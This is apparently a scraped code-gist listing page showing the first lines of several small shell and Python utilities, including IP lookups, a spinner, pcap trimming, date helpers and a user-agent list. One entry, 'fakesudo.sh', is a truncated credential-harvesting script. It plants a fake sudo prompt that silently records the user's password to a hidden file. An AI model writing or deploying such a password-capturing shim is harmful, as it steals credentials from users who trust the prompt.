This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# geolocate an IP address | |
if [ -z $1 ]; then | |
echo "Missing argument: IP address." | |
else | |
IP=$1 | |
curl http://api.db-ip.com/v2/free/$IP | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# spinner.sh | |
# A simple spinner in your terminal. | |
SPINS=( | |
"ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgKiUlJSUlJSUlIyAgICAgICAgICAgICAgICAgICAgKCUlJSUlJSUlJSggICAgICAgICAgICAgICAKICAgICAgICAgICAgKiUlICAgLCgoKiAgICMlIyAgICAgICAgICAgICAgLiUlICAgKCUlJSguICAlJSwgICAgICAgICAgICAKICAgICAgICAgICAlJSAuJSUlJSUlJSUlJS8gLyUsICAgICAgICAgICAlJSAgJSUlJSUlJSUlJSUgICUlICAgICAgICAgICAKICAgICAgICAgICUoICUlJSMgLyUlKCAvJSUlIC4lJS8gICAgICAgIyUlICglJSUgIyUlJSggJSUlKCAlJSAg |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# trim-yesterday-pcaps.sh | |
# trim pcap files for the previous day | |
# ksaver, May 2019 | |
SENSOR_NAME=$(hostname) | |
IFACE=eth1 | |
PCAP_SIZE=102400 | |
YESTERDAY=$(date -d "$date - 1 days" +"%Y-%m-%d") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# from site: ipinfo.io | |
# gets info on given IP adress | |
if [ -z $1 ]; then | |
echo "$(basename $0) [ip address]""" | |
exit | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# timestamp.sh | |
# a simple timestamp function, to use in scripts | |
function timestamp(){ | |
date +"%Y-%m-%d %H:%M:%S" | |
} | |
timestamp |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# yesterday.sh | |
# a simple way to substract one day from today | |
YESTERDAY=$(date -d "$date - 1 days" +"%Y-%m-%d") | |
echo $YESTERDAY |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# fakesudo.sh | |
# catch the user password by shadowing the sudo command | |
cat << EOF > ~/.sudo | |
echo -n "[sudo] password for \$USER: " | |
read -s PASSWORD | |
echo "\$USER:\$PASSWORD" >> ~/.pw | |
sleep 0.5 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Created by me, under the alias "noobcoder" in Sololearn.com | |
# https://www.sololearn.com/Profile/5439366 | |
# Example of Python code to | |
# print some simple symmetric shapes | |
# using "X" and spaces. | |
def xprint(x, line_width=40): | |
spaces = (line_width - x) // 2 | |
print(" " * spaces + "X" * x + |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
# clify.py | |
# get a random command line tip from commandlinefu.com | |
# usage: | |
# chmod +x clifu.py | |
# ./clifu.py | |
# python 2 or 3 | |
import requests | |
try: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# random_user_agent.py | |
from random import choice | |
user_agents = [ | |
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36", | |
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", | |
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", | |
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0", |
OlderNewer